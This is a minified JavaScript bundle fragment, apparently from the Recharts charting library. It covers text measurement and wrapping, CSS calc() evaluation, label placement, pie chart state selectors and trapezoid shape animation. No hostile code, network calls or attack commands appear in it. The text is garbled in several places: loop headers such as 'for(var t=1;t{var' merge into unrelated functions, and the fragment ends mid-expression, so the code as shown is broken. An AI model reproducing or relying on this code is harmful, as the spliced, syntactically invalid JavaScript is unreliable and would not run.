t2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,n2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gte=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,yte=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,bte={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},xte=["cm","mm","pt","pc","in","Q","px"];function wte(e){return xte.includes(e)}var Al="NaN";function Ste(e,t){return e*bte[t]}class Jt{static parse(t){var n,[,r,i]=(n=yte.exec(t))!==null&&n!==void 0?n:[];return r==null?Jt.NaN:new Jt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Hr(t)&&(this.unit=""),n!==""&&!gte.test(n)&&(this.num=NaN,this.unit=""),wte(n)&&(this.num=Ste(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Hr(this.num)}}UL=Jt;pte(Jt,"NaN",new UL(NaN,""));function HL(e){if(e==null||e.includes(Al))return Al;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,l]=(n=t2.exec(t))!==null&&n!==void 0?n:[],c=Jt.parse(r??""),u=Jt.parse(l??""),f=i==="*"?c.multiply(u):c.divide(u);if(f.isNaN())return Al;t=t.replace(t2,f.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var h,[,p,m,y]=(h=n2.exec(t))!==null&&h!==void 0?h:[],x=Jt.parse(p??""),S=Jt.parse(y??""),w=m==="+"?x.add(S):x.subtract(S);if(w.isNaN())return Al;t=t.replace(n2,w.toString())}return t}var r2=/\(([^()]*)\)/;function Ote(e){for(var t=e,n;(n=r2.exec(t))!=null;){var[,r]=n;t=t.replace(r2,HL(r))}return t}function Ete(e){var t=e.replace(/\s+/g,"");return t=Ote(t),t=HL(t),t}function Ate(e){try{return Ete(e)}catch{return Al}}function Fy(e){var t=Ate(e.slice(5,-1));return t===Al?"":t}var Cte=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],_te=["dx","dy","angle","className","breakAll"];function pb(){return pb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Vt(t)||(n?i=t.toString().split(""):i=t.toString().split(qL));var l=i.map(u=>({word:u,width:bc(u,r).width})),c=n?0:bc(" ",r).width;return{wordsWithComputedWidth:l,spaceWidth:c}}catch{return null}};function Nte(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var VL=(e,t,n,r)=>e.reduce((i,l)=>{var{word:c,width:u}=l,f=i[i.length-1];if(f&&u!=null&&(t==null||r||f.width+u+ne.reduce((t,n)=>t.width>n.width?t:n),Mte="…",i2=(e,t,n,r,i,l,c,u)=>{var f=e.slice(0,t),h=FL({breakAll:n,style:r,children:f+Mte});if(!h)return[!1,[]];var p=VL(h.wordsWithComputedWidth,l,c,u),m=p.length>i||KL(p).width>Number(l);return[m,p]},jte=(e,t,n,r,i)=>{var{maxLines:l,children:c,style:u,breakAll:f}=e,h=Oe(l),p=String(c),m=VL(t,r,n,i);if(!h||i)return m;var y=m.length>l||KL(m).width>Number(r);if(!y)return m;for(var x=0,S=p.length-1,w=0,O;x<=S&&w<=p.length-1;){var A=Math.floor((x+S)/2),_=A-1,[T,j]=i2(p,_,f,u,l,r,n,i),[M]=i2(p,A,f,u,l,r,n,i);if(!T&&!M&&(x=A+1),T&&M&&(S=A-1),!T&&M){O=j;break}w++}return O||m},o2=e=>{var t=Vt(e)?[]:e.toString().split(qL);return[{words:t,width:void 0}]},Pte=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:l,maxLines:c}=e;if((t||n)&&!mp.isSsr){var u,f,h=FL({breakAll:l,children:r,style:i});if(h){var{wordsWithComputedWidth:p,spaceWidth:m}=h;u=p,f=m}else return o2(r);return jte({breakAll:l,children:r,maxLines:c,style:i},u,f,t,!!n)}return o2(r)},YL="#808080",Rte={angle:0,breakAll:!1,capHeight:"0.71em",fill:YL,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},kp=v.forwardRef((e,t)=>{var n=pn(e,Rte),{x:r,y:i,lineHeight:l,capHeight:c,fill:u,scaleToFit:f,textAnchor:h,verticalAnchor:p}=n,m=a2(n,Cte),y=v.useMemo(()=>Pte({breakAll:m.breakAll,children:m.children,maxLines:m.maxLines,scaleToFit:f,style:m.style,width:m.width}),[m.breakAll,m.children,m.maxLines,f,m.style,m.width]),{dx:x,dy:S,angle:w,className:O,breakAll:A}=m,_=a2(m,_te);if(!qr(r)||!qr(i)||y.length===0)return null;var T=Number(r)+(Oe(x)?x:0),j=Number(i)+(Oe(S)?S:0);if(!ht(T)||!ht(j))return null;var M;switch(p){case"start":M=Fy("calc(".concat(c,")"));break;case"middle":M=Fy("calc(".concat((y.length-1)/2," * -").concat(l," + (").concat(c," / 2))"));break;default:M=Fy("calc(".concat(y.length-1," * -").concat(l,")"));break}var P=[];if(f){var R=y[0].width,{width:I}=m;P.push("scale(".concat(Oe(I)&&Oe(R)?I/R:1,")"))}return w&&P.push("rotate(".concat(w,", ").concat(T,", ").concat(j,")")),P.length&&(_.transform=P.join(" ")),v.createElement("text",pb({},ur(_),{ref:t,x:T,y:j,className:Ye("recharts-text",O),textAnchor:h,fill:u.includes("url")?YL:u}),y.map((B,q)=>{var U=B.words.join(A?"":" ");return v.createElement("tspan",{x:T,dy:q===0?M:l,key:"".concat(U,"-").concat(q)},U)}))});kp.displayName="Text";var Dte=["labelRef"],kte=["content"];function l2(e,t){if(e==null)return{};var n,r,i=Lte(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c,children:u}=e,f=v.useMemo(()=>({x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c}),[t,n,r,i,l,c]);return v.createElement(GL.Provider,{value:f},u)},WL=()=>{var e=v.useContext(GL),t=up();return e||pD(t)},Ute=v.createContext(null),Hte=()=>{var e=v.useContext(Ute),t=we($k);return e||t},qte=e=>{var{value:t,formatter:n}=e,r=Vt(e.children)?t:e.children;return typeof n=="function"?n(r):r},I1=e=>e!=null&&typeof e=="function",Fte=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Vte=(e,t,n,r,i)=>{var{offset:l,className:c}=e,{cx:u,cy:f,innerRadius:h,outerRadius:p,startAngle:m,endAngle:y,clockWise:x}=i,S=(h+p)/2,w=Fte(m,y),O=w>=0?1:-1,A,_;switch(t){case"insideStart":A=m+O*l,_=x;break;case"insideEnd":A=y-O*l,_=!x;break;case"end":A=y+O*l,_=x;break;default:throw new Error("Unsupported position ".concat(t))}_=w<=0?_:!_;var T=Nt(u,f,S,A),j=Nt(u,f,S,A+(_?1:-1)*359),M="M".concat(T.x,",").concat(T.y,` A`).concat(S,",").concat(S,",0,1,").concat(_?0:1,`, - `).concat(j.x,",").concat(j.y),P=Vt(e.id)?Ac("recharts-radial-line-"):e.id;return v.createElement("text",va({},r,{dominantBaseline:"central",className:Ye("recharts-radial-bar-label",c)}),v.createElement("defs",null,v.createElement("path",{id:P,d:M})),v.createElement("textPath",{xlinkHref:"#".concat(P)},n))},Kte=(e,t,n)=>{var{cx:r,cy:i,innerRadius:l,outerRadius:c,startAngle:u,endAngle:f}=e,h=(u+f)/2;if(n==="outside"){var{x:p,y:m}=Nt(r,i,c+t,h);return{x:p,y:m,textAnchor:p>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var y=(l+c)/2,{x,y:S}=Nt(r,i,y,h);return{x,y:S,textAnchor:"middle",verticalAnchor:"middle"}},mb=e=>"cx"in e&&Oe(e.cx),Yte=(e,t)=>{var{parentViewBox:n,offset:r,position:i}=e,l;n!=null&&!mb(n)&&(l=n);var{x:c,y:u,upperWidth:f,lowerWidth:h,height:p}=t,m=c,y=c+(f-h)/2,x=(m+y)/2,S=(f+h)/2,w=m+f/2,O=p>=0?1:-1,A=O*r,_=O>0?"end":"start",T=O>0?"start":"end",j=f>=0?1:-1,M=j*r,P=j>0?"end":"start",R=j>0?"start":"end";if(i==="top"){var I={x:m+f/2,y:u-A,textAnchor:"middle",verticalAnchor:_};return Ot(Ot({},I),l?{height:Math.max(u-l.y,0),width:f}:{})}if(i==="bottom"){var B={x:y+h/2,y:u+p+A,textAnchor:"middle",verticalAnchor:T};return Ot(Ot({},B),l?{height:Math.max(l.y+l.height-(u+p),0),width:h}:{})}if(i==="left"){var q={x:x-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"};return Ot(Ot({},q),l?{width:Math.max(q.x-l.x,0),height:p}:{})}if(i==="right"){var U={x:x+S+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"};return Ot(Ot({},U),l?{width:Math.max(l.x+l.width-U.x,0),height:p}:{})}var V=l?{width:S,height:p}:{};return i==="insideLeft"?Ot({x:x+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"},V):i==="insideRight"?Ot({x:x+S-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"},V):i==="insideTop"?Ot({x:m+f/2,y:u+A,textAnchor:"middle",verticalAnchor:T},V):i==="insideBottom"?Ot({x:y+h/2,y:u+p-A,textAnchor:"middle",verticalAnchor:_},V):i==="insideTopLeft"?Ot({x:m+M,y:u+A,textAnchor:R,verticalAnchor:T},V):i==="insideTopRight"?Ot({x:m+f-M,y:u+A,textAnchor:P,verticalAnchor:T},V):i==="insideBottomLeft"?Ot({x:y+M,y:u+p-A,textAnchor:R,verticalAnchor:_},V):i==="insideBottomRight"?Ot({x:y+h-M,y:u+p-A,textAnchor:P,verticalAnchor:_},V):i&&typeof i=="object"&&(Oe(i.x)||Ea(i.x))&&(Oe(i.y)||Ea(i.y))?Ot({x:c+on(i.x,S),y:u+on(i.y,p),textAnchor:"end",verticalAnchor:"end"},V):Ot({x:w,y:u+p/2,textAnchor:"middle",verticalAnchor:"middle"},V)},Gte={angle:0,offset:5,zIndex:an.label,position:"middle",textBreakAll:!1};function vi(e){var t=pn(e,Gte),{viewBox:n,position:r,value:i,children:l,content:c,className:u="",textBreakAll:f,labelRef:h}=t,p=Hte(),m=WL(),y=r==="center"?m:p??m,x,S,w;if(n==null?x=y:mb(n)?x=n:x=pD(n),!x||Vt(i)&&Vt(l)&&!v.isValidElement(c)&&typeof c!="function")return null;var O=Ot(Ot({},t),{},{viewBox:x});if(v.isValidElement(c)){var{labelRef:A}=O,_=l2(O,Dte);return v.cloneElement(c,_)}if(typeof c=="function"){var{content:T}=O,j=l2(O,kte);if(S=v.createElement(c,j),v.isValidElement(S))return S}else S=qte(t);var M=ur(t);if(mb(x)){if(r==="insideStart"||r==="insideEnd"||r==="end")return Vte(t,r,S,M,x);w=Kte(x,t.offset,t.position)}else w=Yte(t,x);return v.createElement(Gr,{zIndex:t.zIndex},v.createElement(kp,va({ref:h,className:Ye("recharts-label",u)},M,w,{textAnchor:Nte(M.textAnchor)?M.textAnchor:w.textAnchor,breakAll:f}),S))}vi.displayName="Label";var Wte=(e,t,n)=>{if(!e)return null;var r={viewBox:t,labelRef:n};return e===!0?v.createElement(vi,va({key:"label-implicit"},r)):qr(e)?v.createElement(vi,va({key:"label-implicit",value:e},r)):v.isValidElement(e)?e.type===vi?v.cloneElement(e,Ot({key:"label-implicit"},r)):v.createElement(vi,va({key:"label-implicit",content:e},r)):I1(e)?v.createElement(vi,va({key:"label-implicit",content:e},r)):e&&typeof e=="object"?v.createElement(vi,va({},e,{key:"label-implicit"},r)):null};function Xte(e){var{label:t,labelRef:n}=e,r=WL();return Wte(t,r,n)||null}var Vy={},Ky={},c2;function Zte(){return c2||(c2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(Ky)),Ky}var Yy={},u2;function Qte(){return u2||(u2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Yy)),Yy}var f2;function Jte(){return f2||(f2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zte(),n=Qte(),r=dx();function i(l){if(r.isArrayLike(l))return t.last(n.toArray(l))}e.last=i})(Vy)),Vy}var Gy,d2;function ene(){return d2||(d2=1,Gy=Jte().last),Gy}var tne=ene();const nne=Vr(tne);var rne=["valueAccessor"],ane=["dataKey","clockWise","id","textBreakAll","zIndex"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?nne(e.value):e.value,XL=v.createContext(void 0),lne=XL.Provider,ZL=v.createContext(void 0),sne=ZL.Provider;function cne(){return v.useContext(XL)}function une(){return v.useContext(ZL)}function vd(e){var{valueAccessor:t=one}=e,n=h2(e,rne),{dataKey:r,clockWise:i,id:l,textBreakAll:c,zIndex:u}=n,f=h2(n,ane),h=cne(),p=une(),m=h||p;return!m||!m.length?null:v.createElement(Gr,{zIndex:u??an.label},v.createElement(fn,{className:"recharts-label-list"},m.map((y,x)=>{var S,w=Vt(r)?t(y,x):lt(y&&y.payload,r),O=Vt(l)?{}:{id:"".concat(l,"-").concat(x)};return v.createElement(vi,fh({key:"label-".concat(x)},ur(y),f,O,{fill:(S=n.fill)!==null&&S!==void 0?S:y.fill,parentViewBox:y.parentViewBox,value:w,textBreakAll:c,viewBox:y.viewBox,index:x,zIndex:0}))})))}vd.displayName="LabelList";function QL(e){var{label:t}=e;return t?t===!0?v.createElement(vd,{key:"labelList-implicit"}):v.isValidElement(t)||I1(t)?v.createElement(vd,{key:"labelList-implicit",content:t}):typeof t=="object"?v.createElement(vd,fh({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}var JL=e=>e.graphicalItems.polarItems,fne=G([dt,ou],o1),Lp=G([JL,pt,fne],s1),dne=G([Lp],c1),Ip=G([dne,Ep],u1),hne=G([Ip,pt,Lp],d1);G([Ip,pt,Lp],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var l,c=lt(r,(l=t.dataKey)!==null&&l!==void 0?l:i.dataKey);return{value:c,errorDomain:[]}})).filter(Boolean):t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var p2=()=>{},pne=G([Ip,pt,Lp,jp,dt],v1),mne=G([pt,p1,m1,p2,pne,p2,Fe,dt],g1),eI=G([pt,Fe,Ip,hne,iu,dt,mne],y1),vne=G([eI,pt,rs],w1);G([pt,eI,vne,dt],O1);var gne={radiusAxis:{},angleAxis:{}},tI=An({name:"polarAxis",initialState:gne,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:Oue,removeRadiusAxis:Eue,addAngleAxis:Aue,removeAngleAxis:Cue}=tI.actions,yne=tI.reducer;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function v2(e){for(var t=1;tt,z1=G([JL,Sne],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),One=[],$1=(e,t,n)=>n?.length===0?One:n,nI=G([Ep,z1,$1],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if(t?.data!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(l=>v2(v2({},t.presentationProps),l.props))),i!=null)return i}}),Ene=G([nI,z1,$1],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var l,c=lt(r,t.nameKey,t.name),u;return n!=null&&(l=n[i])!==null&&l!==void 0&&(l=l.props)!==null&&l!==void 0&&l.fill?u=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?u=r.fill:u=t.fill,{value:ip(c,t.dataKey),color:u,payload:r,type:t.legendType}})}),Ane=G([nI,z1,$1,kt],(e,t,n,r)=>{if(!(t==null||e==null))return Nre({offset:r,pieSettings:t,displayedData:e,cells:n})}),Wy={exports:{}},et={};var g2;function Cne(){if(g2)return et;g2=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.suspense_list"),p=Symbol.for("react.memo"),m=Symbol.for("react.lazy"),y=Symbol.for("react.view_transition"),x=Symbol.for("react.client.reference");function S(w){if(typeof w=="object"&&w!==null){var O=w.$$typeof;switch(O){case e:switch(w=w.type,w){case n:case i:case r:case f:case h:case y:return w;default:switch(w=w&&w.$$typeof,w){case c:case u:case m:case p:return w;case l:return w;default:return O}}case t:return O}}}return et.ContextConsumer=l,et.ContextProvider=c,et.Element=e,et.ForwardRef=u,et.Fragment=n,et.Lazy=m,et.Memo=p,et.Portal=t,et.Profiler=i,et.StrictMode=r,et.Suspense=f,et.SuspenseList=h,et.isContextConsumer=function(w){return S(w)===l},et.isContextProvider=function(w){return S(w)===c},et.isElement=function(w){return typeof w=="object"&&w!==null&&w.$$typeof===e},et.isForwardRef=function(w){return S(w)===u},et.isFragment=function(w){return S(w)===n},et.isLazy=function(w){return S(w)===m},et.isMemo=function(w){return S(w)===p},et.isPortal=function(w){return S(w)===t},et.isProfiler=function(w){return S(w)===i},et.isStrictMode=function(w){return S(w)===r},et.isSuspense=function(w){return S(w)===f},et.isSuspenseList=function(w){return S(w)===h},et.isValidElementType=function(w){return typeof w=="string"||typeof w=="function"||w===n||w===i||w===r||w===f||w===h||typeof w=="object"&&w!==null&&(w.$$typeof===m||w.$$typeof===p||w.$$typeof===c||w.$$typeof===l||w.$$typeof===u||w.$$typeof===x||w.getModuleId!==void 0)},et.typeOf=S,et}var y2;function _ne(){return y2||(y2=1,Wy.exports=Cne()),Wy.exports}var Tne=_ne(),b2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",x2=null,Xy=null,rI=e=>{if(e===x2&&Array.isArray(Xy))return Xy;var t=[];return v.Children.forEach(e,n=>{Vt(n)||(Tne.isFragment(n)?t=t.concat(rI(n.props.children)):t.push(n))}),Xy=t,x2=e,t};function B1(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>b2(i)):r=[b2(t)],rI(e).forEach(i=>{var l=uo(i,"type.displayName")||uo(i,"type.name");l&&r.indexOf(l)!==-1&&n.push(i)}),n}var Zy={},w2;function Nne(){return w2||(w2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const i=n[Symbol.toStringTag];return i==null||!Object.getOwnPropertyDescriptor(n,Symbol.toStringTag)?.writable?!1:n.toString()===`[object ${i}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(Zy)),Zy}var Qy,S2;function Mne(){return S2||(S2=1,Qy=Nne().isPlainObject),Qy}var jne=Mne();const Pne=Vr(jne);var O2,E2,A2,C2,_2;function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function N2(e){for(var t=1;t{var l=n-r,c;return c=gt(O2||(O2=fc(["M ",",",""])),e,t),c+=gt(E2||(E2=fc(["L ",",",""])),e+n,t),c+=gt(A2||(A2=fc(["L ",",",""])),e+n-l/2,t+i),c+=gt(C2||(C2=fc(["L ",",",""])),e+n-l/2-r,t+i),c+=gt(_2||(_2=fc(["L ",","," Z"])),e,t),c},Lne={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Ine=e=>{var t=pn(e,Lne),{x:n,y:r,upperWidth:i,lowerWidth:l,height:c,className:u}=t,{animationEasing:f,animationDuration:h,animationBegin:p,isUpdateAnimationActive:m}=t,y=v.useRef(null),[x,S]=v.useState(-1),w=v.useRef(i),O=v.useRef(l),A=v.useRef(c),_=v.useRef(n),T=v.useRef(r),j=gp(e,"trapezoid-");if(v.useEffect(()=>{if(y.current&&y.current.getTotalLength)try{var le=y.current.getTotalLength();le&&S(le)}catch{}},[]),n!==+n||r!==+r||i!==+i||l!==+l||c!==+c||i===0&&l===0||c===0)return null;var M=Ye("recharts-trapezoid",u);if(!m)return v.createElement("g",null,v.createElement("path",dh({},ur(t),{className:M,d:M2(n,r,i,l,c)})));var P=w.current,R=O.current,I=A.current,B=_.current,q=T.current,U="0px ".concat(x===-1?1:x,"px"),V="".concat(x,"px 0px"),oe=CD(["strokeDasharray"],h,f);return v.createElement(vp,{animationId:j,key:j,canBegin:x>0,duration:h,easing:f,isActive:m,begin:p},le=>{var ce=Rt(P,i,le),L=Rt(R,l,le),F=Rt(I,c,le),$=Rt(B,n,le),Z=Rt(q,r,le);y.current&&(w.current=ce,O.current=L,A.current=F,_.current=$,T.current=Z);var de=le>0?{transition:oe,strokeDasharray:V}:{strokeDasharray:U};return v.createElement("path",dh({},ur(t),{className:M,d:M2($,Z,ce,L,F),ref:y,style:N2(N2({},de),t.style)}))})},zne=["option","shapeType","activeClassName"];function $ne(e,t){if(e==null)return{};var n,r,i=Bne(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(vL({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},H1=e=>{var t=ft();return(n,r)=>i=>{e?.(n,r,i),t(QQ())}},q1=(e,t,n)=>{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(JQ({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function iI(e){var{tooltipEntrySettings:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(GQ(t)):i.current!==t&&n(WQ({prev:i.current,next:t})),i.current=t)},[t,n,r]),v.useLayoutEffect(()=>()=>{i.current&&(n(XQ(i.current)),i.current=null)},[n]),null}function Yne(e){var{legendPayload:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}function Gne(e){var{legendPayload:t}=e,n=ft(),r=we(Fe),i=v.useRef(null);return v.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}var Jy,Wne=()=>{var[e]=v.useState(()=>Ac("uid-"));return e},Xne=(Jy=Eh.useId)!==null&&Jy!==void 0?Jy:Wne;function Zne(e,t){var n=Xne();return t||(e?"".concat(e,"-").concat(n):n)}var Qne=v.createContext(void 0),oI=e=>{var{id:t,type:n,children:r}=e,i=Zne("recharts-".concat(n),t);return v.createElement(Qne.Provider,{value:i},r(i))},Jne={cartesianItems:[],polarItems:[]},lI=An({name:"graphicalItems",initialState:Jne,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:ct()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:ct()},removeCartesianGraphicalItem:{reducer(e,t){var n=Sr(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:ct()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:ct()},removePolarGraphicalItem:{reducer(e,t){var n=Sr(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:ct()}}}),{addCartesianGraphicalItem:ere,replaceCartesianGraphicalItem:tre,removeCartesianGraphicalItem:nre,addPolarGraphicalItem:rre,removePolarGraphicalItem:are}=lI.actions,ire=lI.reducer,ore=e=>{var t=ft(),n=v.useRef(null);return v.useLayoutEffect(()=>{n.current===null?t(ere(e)):n.current!==e&&t(tre({prev:n.current,next:e})),n.current=e},[t,e]),v.useLayoutEffect(()=>()=>{n.current&&(t(nre(n.current)),n.current=null)},[t]),null},lre=v.memo(ore);function sre(e){var t=ft();return v.useLayoutEffect(()=>(t(rre(e)),()=>{t(are(e))}),[t,e]),null}var cre=["key"],ure=["onMouseEnter","onClick","onMouseLeave"],fre=["id"],dre=["id"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yt(e){for(var t=1;tB1(e.children,go),[e.children]),n=we(r=>Ene(r,e.id,t));return n==null?null:v.createElement(Gne,{legendPayload:n})}var yre=v.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:l,fill:c,name:u,hide:f,tooltipType:h,id:p}=e,m={dataDefinedOnItem:r.map(y=>y.tooltipPayload),positions:r.map(y=>y.tooltipPosition),settings:{stroke:i,strokeWidth:l,fill:c,dataKey:t,nameKey:n,name:ip(u,t),hide:f,type:h,color:c,unit:"",graphicalItemId:p}};return v.createElement(iI,{tooltipEntrySettings:m})}),bre=(e,t)=>e>t?"start":eon(typeof t=="function"?t(e):t,n,n*.8),wre=(e,t,n)=>{var{top:r,left:i,width:l,height:c}=t,u=jD(l,c),f=i+on(e.cx,l,l/2),h=r+on(e.cy,c,c/2),p=on(e.innerRadius,u,0),m=xre(n,e.outerRadius,u),y=e.maxRadius||Math.sqrt(l*l+c*c)/2;return{cx:f,cy:h,innerRadius:p,outerRadius:m,maxRadius:y}},Sre=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r};function Ore(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}var Ere=(e,t)=>{if(v.isValidElement(e))return v.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ye("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zp(t,cre);return v.createElement(Cx,Ei({},i,{type:"linear",className:n}))},Are=(e,t,n)=>{if(v.isValidElement(e))return v.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),v.isValidElement(r)))return r;var i=Ye("recharts-pie-label-text",Ore(e));return v.createElement(kp,Ei({},t,{alignmentBaseline:"middle",className:i}),r)};function Cre(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:l,dataKey:c}=n;if(!r||!i||!t)return null;var u=Ur(n),f=Ec(i),h=Ec(l),p=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,m=t.map((y,x)=>{var S=(y.startAngle+y.endAngle)/2,w=Nt(y.cx,y.cy,y.outerRadius+p,S),O=yt(yt(yt(yt({},u),y),{},{stroke:"none"},f),{},{index:x,textAnchor:bre(w.x,y.cx)},w),A=yt(yt(yt(yt({},u),y),{},{fill:"none",stroke:y.fill},h),{},{index:x,points:[Nt(y.cx,y.cy,y.outerRadius,S),w],key:"line"});return v.createElement(Gr,{zIndex:an.label,key:"label-".concat(y.startAngle,"-").concat(y.endAngle,"-").concat(y.midAngle,"-").concat(x)},v.createElement(fn,null,l&&Ere(l,A),Are(i,O,lt(y,c))))});return v.createElement(fn,{className:"recharts-pie-labels"},m)}function _re(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?v.createElement(QL,{label:i}):v.createElement(Cre,{sectors:t,props:n,showLabels:r})}function Tre(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:l,id:c}=e,u=we(vo),f=we(P1),h=we(zJ),{onMouseEnter:p,onClick:m,onMouseLeave:y}=i,x=zp(i,ure),S=U1(p,i.dataKey,c),w=H1(y),O=q1(m,i.dataKey,c);return t==null||t.length===0?null:v.createElement(v.Fragment,null,t.map((A,_)=>{if(A?.startAngle===0&&A?.endAngle===0&&t.length!==1)return 